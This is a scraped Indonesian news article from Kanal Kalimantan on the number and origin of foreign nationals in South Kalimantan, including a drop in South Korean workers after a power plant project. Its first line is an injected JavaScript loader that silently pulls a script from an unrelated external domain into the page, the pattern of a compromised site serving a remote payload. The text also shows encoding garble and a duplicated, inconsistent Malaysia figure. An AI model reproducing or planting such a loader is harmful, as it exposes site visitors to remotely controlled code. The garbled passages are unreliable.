(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sistem Informasi Keimigrasian (Simkim) Keimigrasian Kalsel mencatat bulan Februari lalu, sejumlah Warga Negara (WN) Korea Selatan yang berada di Kalsel memilih kembali ke kampung halaman negara mereka.
Menurut Kepala Divisi Keimigrasian Kalsel, Dodi Karnida, berkurangnya jumlah WN Korea Selatan tercatat pada bulan Februari sekitar 94 orang, kini sudah berkurang menjadi 44 orang.
“Pengurangan WN Korsel itu karena ada proyek pembangkit listrik di Kabupaten Tabalong yang sudah selesai tahap konstruksinya, kemudian proyek tersebut diserahkan operasionalnya kepada perusahaan dalam negeri, sehingga para TKA tersebut pulang ke negaranya,†ujar Dodi Karnida mengutip data pada Sistim Informasi Keimigrasian (Simkim) tertanggal 29 Maret 2019.
Selain itu, berdasarkan data Subsistem Izin Tinggal Keimigrasian Divisi Keimigrasian Kalimantan Selatan mencatat ada 445 orang WNA yang memiliki izin tinggal di Kalsel yang berasal dari berbagai negara di belahan dunia.
Dari benua Amerika ada WN Amerika, Argentina, Guyana, dari benua Afrika ada WN Mesir, Maroko dan Somalia, sedangkan dari benua Australia ada WN Australia dan Selandia Baru. Sedangkan dari Eropa selain WN Inggris, ada juga WN Belanda, Jerman dan Hongaria. Dan yang terbanyak berasal dari benua Asia yaitu ada WN RRT, Myanmar, Filipina dan lain-lain, bahkan dari negara yang sedang berkonflik yaitu dari Iraq dan Yaman.
Seluruh warga negara asing alias WNA itu berasal dari 37 negara, terbanyak adalah WN RRT atau China sejumlah 220 orang, Korea Selatan 44 orang, Malaysia 35 orang, Thailand 24 orang, Malaysia 33 orang dan India 15 orang. Sisanya WNA dari negara-negara lain masing-masing 1 sampai 9 orang.ÂÂ
“Jika disusun berdasarkan jenis kelamin, laki-laki ada 401 orang dan perempuan sebanyak 44 orang,†sebut Dodi Karnadi.
Berdasarkan profesi atau perkejaan terbanyak adalah tenaga ahli ada 175 orang, 47 orang TKA bidang perindustrian, pelajar atau mahasiswa 41 orang, TKA bidang konstruksi dan bangunan sebanyak 36 orang.ÂÂ
Dodi mengatakan, terkait jumlah WNA yang ada di Kalsel, ia yakin tidak akan mengganggu proses Pemilu pada 17 April nanti.
“Adapun menjelang Pemilu tanggal 17 April nanti, keberadaan WNA di Kalimantan Selatan sampai saat ini kami kira cukup terkendali,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.